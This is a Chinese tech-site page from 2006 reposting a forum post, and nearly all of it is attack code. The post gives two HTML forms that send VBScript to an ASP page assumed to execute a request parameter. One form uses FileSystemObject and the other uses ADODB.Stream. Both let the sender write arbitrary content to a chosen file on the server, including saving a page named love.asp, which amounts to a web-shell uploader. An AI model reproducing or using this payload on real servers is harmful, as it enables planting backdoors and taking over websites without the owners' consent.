| 您的位置: >> 相关知识 >> 开发技术 >> 精典的ASP >> |
|
合金网络科技 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 添加日期:2006-9-11 点击次数:484次 |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
看到上级版面里全是PHP的,不知道发这里对不对,暂时发这里好了 原文转载如下: FSO的是我写的 ADODB_STREAM的是我改写的 <form action=http://localhost/udj3.asp method=post> <textarea name=# cols=120 rows=18 width=45>dim objFSO dim fdata dim objCountFile Set objFSO = Server.CreateObject('Scripting.FileSystemObject') fdata = request('textcontent') Set objCountFile=objFSO.CreateTextFile(request('textpath'),True) objCountFile.Write fdata objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing 'the server page may be execute request('#') or something similar 'coded by [email]kofj2005@gmail.com[/email] 'you can get the complete file path by two lines of code under here 'filepath=server.mappath(Request.ServerVariables('SCRIPT_NAME')) 'response.write filepath </textarea> <textarea name=textcontent cols=120 rows=10 width=45>text file content</textarea><BR> <textarea name=textpath cols=120 rows=1 width=45>text file path</textarea><BR> <input type=submit value='submit'> if the server supports adodb_stream <form action=http://localhost/exec.asp method=post> <textarea name=# cols=120 rows=10 width=45> set lP=server.createObject('Adodb.Stream') lP.Open lP.Type=2 lP.CharSet='gb2312' 'you can change CharSet if necessary lP.writetext request('textcontent') lP.SaveToFile server.mappath('love.asp'),2 lP.Close set lP=nothing response.redirect 'love.asp' 'the server page may be execute request('#') or something similar 'recoded by [email]kofj2005@gmail.com[/email] 'you can get the complete file path by two lines of code under here 'filepath=server.mappath(Request.ServerVariables('SCRIPT_NAME')) 'response.write filepath </textarea> <textarea name=textcontent cols=120 rows=10 width=45>text content</textarea><BR><center><br> <input type=submit value='submit'> |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| "凌风微型文章系统",针对"搜索引擎"完美设计,提高"搜索引擎"对网站容量,质量的评估值,"扁平化,转静态 ..." |